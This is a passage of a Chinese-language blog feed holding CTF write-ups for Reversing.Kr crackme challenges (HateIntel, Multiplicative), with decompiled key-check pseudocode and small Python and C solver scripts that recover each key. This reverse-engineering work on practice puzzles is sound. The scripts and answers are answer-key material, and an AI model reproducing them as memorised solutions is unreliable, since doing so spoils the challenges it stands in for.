&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v8 = *(&amp;amp;String + v6++);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    *v7 = v8;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v7 += &lt;span class=&quot;number&quot;&gt;16&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt; ( v6 &amp;lt; &lt;span class=&quot;number&quot;&gt;8&lt;/span&gt; ); &lt;span class=&quot;comment&quot;&gt;// 将string嵌入key中&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v9 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;i64;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v10 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;do&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v11 = (&lt;span class=&quot;keyword&quot;&gt;unsigned&lt;/span&gt; __int8)v9 ^ (&lt;span class=&quot;keyword&quot;&gt;unsigned&lt;/span&gt; __int8)*(&amp;amp;v22 + v10); &lt;span class=&quot;comment&quot;&gt;// 取v9的低字节与字符串hellowelcome做异或&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v12 = v9 &amp;gt;&amp;gt; &lt;span class=&quot;number&quot;&gt;8&lt;/span&gt;; &lt;span class=&quot;comment&quot;&gt;// 舍弃v9的低字节&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    LODWORD(v9) = v12 ^ dword_4085E8[&lt;span class=&quot;number&quot;&gt;2&lt;/span&gt; * v11]; &lt;span class=&quot;comment&quot;&gt;// 低四个字节之间异或&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    v13 = HIDWORD(v9) ^ dword_4085EC[&lt;span class=&quot;number&quot;&gt;2&lt;/span&gt; * v11]; &lt;span class=&quot;comment&quot;&gt;// v9的高三个字节与密钥异或&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      											&lt;span class=&quot;comment&quot;&gt;// 这里的HIDWORD(v9)实际上是v12的前四个字节，通过汇编或动态调试可以看得更清楚。&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    ++v10;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    HIDWORD(v9) = v13;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt; ( v10 &amp;lt; &lt;span class=&quot;number&quot;&gt;256&lt;/span&gt; ); &lt;span class=&quot;comment&quot;&gt;// 256轮&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; ( (_DWORD)v9 != &lt;span class=&quot;number&quot;&gt;0x5F695F6C&lt;/span&gt; || v13 != &lt;span class=&quot;number&quot;&gt;0x676F5F67&lt;/span&gt; ) &lt;span class=&quot;comment&quot;&gt;// 校验结果&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;LABEL_13:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    MessageBeep(&lt;span class=&quot;number&quot;&gt;0x30&lt;/span&gt;u);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    SetDlgItemTextA(hDlg, &lt;span class=&quot;number&quot;&gt;1001&lt;/span&gt;, ::String);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    MessageBeep(&lt;span class=&quot;number&quot;&gt;0x40&lt;/span&gt;u);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    SetDlgItemTextA(hDlg, &lt;span class=&quot;number&quot;&gt;1001&lt;/span&gt;, aCorrect);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr HateIntel Writeup</title>
    <link href="https://l1b0.fun/98bbf96a/"/>
    <id>https://l1b0.fun/98bbf96a/</id>
    <published>2019-11-29T08:35:05.000Z</published>
    <updated>2019-12-05T08:28:00.256Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/HateIntel" target="_blank" rel="noopener">题目及脚本</a></p><p>调了一天的Twist1没调出来，我好菜。</p><p>刚看到这题也挺多人做的就下下来看了看，发现之前好像见过。。。</p><p>（好像去信工所ctf机试的时候有道re和这题一模一样，就数据改了</p></blockquote><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>题目是一个mach架构的文件，通过ida32位可以打开。</p><p>程序逻辑非常简单，输入key，经过加密函数后与一串数据进行比较，相同输出<code>Correct Key!</code>。</p><a id="more"></a><p>主函数伪码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">sub_2224</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> input; <span class="comment">// [sp+4h] [bp-5Ch]</span></span><br><span class="line">  <span class="keyword">int</span> round; <span class="comment">// [sp+54h] [bp-Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// [sp+58h] [bp-8h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [sp+5Ch] [bp-4h]</span></span><br><span class="line">  <span class="keyword">char</span> vars0; <span class="comment">// [sp+60h] [bp+0h]</span></span><br><span class="line"></span><br><span class="line">  round = <span class="number">4</span>;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"Input key : "</span>);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">"%s"</span>, &amp;input);</span><br><span class="line">  v3 = <span class="built_in">strlen</span>(&amp;input);</span><br><span class="line">  encrypt((<span class="keyword">signed</span> __int32)&amp;input, round);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; v3; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( *(&amp;vars0 + i - <span class="number">92</span>) != data[i] )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">"Wrong Key! "</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Correct Key! "</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>encrypt函数伪码如下，key就是经过了4轮的循环左移变换。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">signed</span> __int32 __<span class="function">fastcall <span class="title">encrypt</span><span class="params">(<span class="keyword">signed</span> __int32 result, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> round; <span class="comment">// [sp+0h] [bp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> *v3; <span class="comment">// [sp+4h] [bp-10h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [sp+8h] [bp-Ch]</span></span><br><span class="line">  <span class="keyword">signed</span> __int32 j; <span class="comment">// [sp+Ch] [bp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = (<span class="keyword">char</span> *)result;</span><br><span class="line">  round = a2;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; round; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( j = <span class="number">0</span>; ; ++j )                        <span class="comment">// for j in range(len(input))</span></span><br><span class="line">    &#123;</span><br><span class="line">      result = <span class="built_in">strlen</span>(v3);</span><br><span class="line">      <span class="keyword">if</span> ( result &lt;= j )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      v3[j] = cycle_left(v3[j], <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>cycle_left函数伪码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">fastcall <span class="title">cycle_left</span><span class="params">(<span class="keyword">unsigned</span> __int8 a1, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// [sp+8h] [bp-8h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [sp+Ch] [bp-4h]</span></span><br><span class="line"></span><br><span class="line">  v3 = a1;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; a2; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 *= <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &amp; <span class="number">0x100</span> ) <span class="comment">// 大于等于0x100即256时，加一</span></span><br><span class="line">      v3 |= <span class="number">1u</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> (<span class="keyword">unsigned</span> __int8)v3; <span class="comment">// 返回值&amp;0xff，控制在0-256之间</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="解题脚本"><a href="#解题脚本" class="headerlink" title="解题脚本"></a>解题脚本</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">data = [<span class="number">0x44</span>, <span class="number">0xF6</span>, <span class="number">0xF5</span>, <span class="number">0x57</span>, <span class="number">0xF5</span>, <span class="number">0xC6</span>, <span class="number">0x96</span>, <span class="number">0xB6</span>, <span class="number">0x56</span>, <span class="number">0xF5</span>,</span><br><span class="line">  <span class="number">0x14</span>, <span class="number">0x25</span>, <span class="number">0xD4</span>, <span class="number">0xF5</span>, <span class="number">0x96</span>, <span class="number">0xE6</span>, <span class="number">0x37</span>, <span class="number">0x47</span>, <span class="number">0x27</span>, <span class="number">0x57</span>,</span><br><span class="line">  <span class="number">0x36</span>, <span class="number">0x47</span>, <span class="number">0x96</span>, <span class="number">0x03</span>, <span class="number">0xE6</span>, <span class="number">0xF3</span>, <span class="number">0xA3</span>, <span class="number">0x92</span>]</span><br><span class="line">flag = [ ((i&amp;<span class="number">0xf</span>)&lt;&lt;<span class="number">4</span>)+(i&gt;&gt;<span class="number">4</span>) <span class="keyword">for</span> i <span class="keyword">in</span> data]</span><br><span class="line"><span class="keyword">print</span> <span class="string">''</span>.join(map(chr,flag)</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/HateIntel&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;调了一天的Twist1没调出来，我好菜。&lt;/p&gt;
&lt;p&gt;刚看到这题也挺多人做的就下下来看了看，发现之前好像见过。。。&lt;/p&gt;
&lt;p&gt;（好像去信工所ctf机试的时候有道re和这题一模一样，就数据改了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;题目是一个mach架构的文件，通过ida32位可以打开。&lt;/p&gt;
&lt;p&gt;程序逻辑非常简单，输入key，经过加密函数后与一串数据进行比较，相同输出&lt;code&gt;Correct Key!&lt;/code&gt;。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr Multiplicative Writeup</title>
    <link href="https://l1b0.fun/1fd68e0f/"/>
    <id>https://l1b0.fun/1fd68e0f/</id>
    <published>2019-11-28T08:22:23.000Z</published>
    <updated>2019-11-29T08:39:57.801Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/Multiplicative" target="_blank" rel="noopener">题目及脚本</a></p></blockquote><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>题目是个jar文件，用jadx打开可以看到伪码。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> defpackage;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JavaCrackMe</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">synchronized</span> <span class="comment">/* bridge */</span> <span class="comment">/* synthetic */</span> <span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(String... strArr)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (JavaCrackMe.class) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                System.out.println(<span class="string">"Reversing.Kr CrackMe!!"</span>);</span><br><span class="line">                System.out.println(<span class="string">"-----------------------------"</span>);</span><br><span class="line">                System.out.println(<span class="string">"The idea came out of the warsaw's crackme"</span>);</span><br><span class="line">                System.out.println(<span class="string">"-----------------------------\n"</span>);</span><br><span class="line">                <span class="keyword">if</span> (Long.decode(strArr[<span class="number">0</span>]).longValue() * <span class="number">26729</span> == -<span class="number">1536092243306511225L</span>) &#123;</span><br><span class="line">                    System.out.println(<span class="string">"Correct!"</span>);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    System.out.println(<span class="string">"Wrong"</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                System.out.println(<span class="string">"Please enter a 64bit signed int"</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><a id="more"></a><p>关键在于<code>Long.decode(strArr[0]).longValue() * 26729 == -1536092243306511225L</code>.</p><p>输入为64位的符号整数，乘上<code>26729</code>后要等于<code>-1536092243306511225</code>，但通过计算发现<code>-1536092243306511225%26729 != 0</code>。</p><p>于是需要通过溢出的方式达到目的。</p><p>-1536092243306511225的16进制表示为0xeaaeb43e477b8487L。也就是说输入的数乘上26729后的16进制应为0x*eaaeb43e477b8487，<code>*</code>代表不限长度的16进制数。</p><p>于是爆破<code>*</code>即可。</p><h2 id="解题脚本"><a href="#解题脚本" class="headerlink" title="解题脚本"></a>解题脚本</h2><p>爆破<code>*</code>的代码如下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="number">-1536092243306511225</span>&amp;<span class="number">0xffffffffffffffff</span></span><br><span class="line"><span class="number">16910651830403040391L</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex(_)</span><br><span class="line"><span class="string">'0xeaaeb43e477b8487L'</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> decimal <span class="keyword">import</span> Decimal</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0x10000</span>):</span><br><span class="line"><span class="meta">... </span>    t = Decimal(i&lt;&lt;<span class="number">64</span>) + <span class="number">0xeaaeb43e477b8487L</span></span><br><span class="line"><span class="meta">... </span>    <span class="keyword">if</span> t % <span class="number">26729</span> == <span class="number">0</span>:</span><br><span class="line"><span class="meta">... </span>            <span class="keyword">print</span> t</span><br><span class="line">...</span><br><span class="line"><span class="number">253087792599051741660295</span></span><br><span class="line"><span class="number">746150814945234346804359</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="number">253087792599051741660295</span>%<span class="number">26729</span></span><br><span class="line"><span class="number">0L</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="number">253087792599051741660295</span>/<span class="number">26729</span></span><br><span class="line"><span class="number">9468659231510783855L</span></span><br></pre></td></tr></table></figure><p>生成longlong及验证结果的代码如下。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">long</span> <span class="keyword">long</span> a;</span><br><span class="line">a = <span class="number">9468659231510783855</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%lld %lld\n"</span>,a,a*<span class="number">26729</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>可以看到结果等于<code>-1536092243306511225</code>。</p><p><img src="https://s2.ax1x.com/2019/11/28/Qi3WDO.png" alt="Qi3WDO.png"></p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/Multiplicative&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;题目是个jar文件，用jadx打开可以看到伪码。&lt;/p&gt;
&lt;figure class=&quot;highlight java&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;package&lt;/span&gt; defpackage;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;JavaCrackMe&lt;/span&gt; &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;comment&quot;&gt;/* bridge */&lt;/span&gt; &lt;span class=&quot;comment&quot;&gt;/* synthetic */&lt;/span&gt; &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(String... strArr)&lt;/span&gt; &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        &lt;span class=&quot;keyword&quot;&gt;synchronized&lt;/span&gt; (JavaCrackMe.class) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;            &lt;span class=&quot;keyword&quot;&gt;try&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                System.out.println(&lt;span class=&quot;string&quot;&gt;&quot;Reversing.Kr CrackMe!!&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                System.out.println(&lt;span class=&quot;string&quot;&gt;&quot;-----------------------------&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                System.out.println(&lt;span class=&quot;string&quot;&gt;&quot;The idea came out of the warsaw&#39;s crackme&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                System.out.println(&lt;span class=&quot;string&quot;&gt;&quot;-----------------------------\n&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (Long.decode(strArr[&lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;]).longValue() * &lt;span class=&quot;number&quot;&gt;26729&lt;/span&gt; == -&lt;span class=&quot;number&quot;&gt;1536092243306511225L&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                    System.out.println(&lt;span class=&quot;string&quot;&gt;&quot;Correct!&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                &amp;#125; &lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                    System.out.println(&lt;span class=&quot;string&quot;&gt;&quot;Wrong&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;            &amp;#125; &lt;span class=&quot;keyword&quot;&gt;catch&lt;/span&gt; (Exception e) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;                System.out.println(&lt;span class=&quot;string&quot;&gt;&quot;Please enter a 64bit signed int&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;            &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
      <category term="Jadx" scheme="https://l1b0.fun/tags/Jadx/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr x64-Lotto Writeup</title>
    <link href="https://l1b0.fun/5b99d929/"/>
    <id>https://l1b0.fun/5b99d929/</id>
    <published>2019-11-28T06:35:03.000Z</published>
    <updated>2019-11-29T08:40:22.740Z</updated>
    
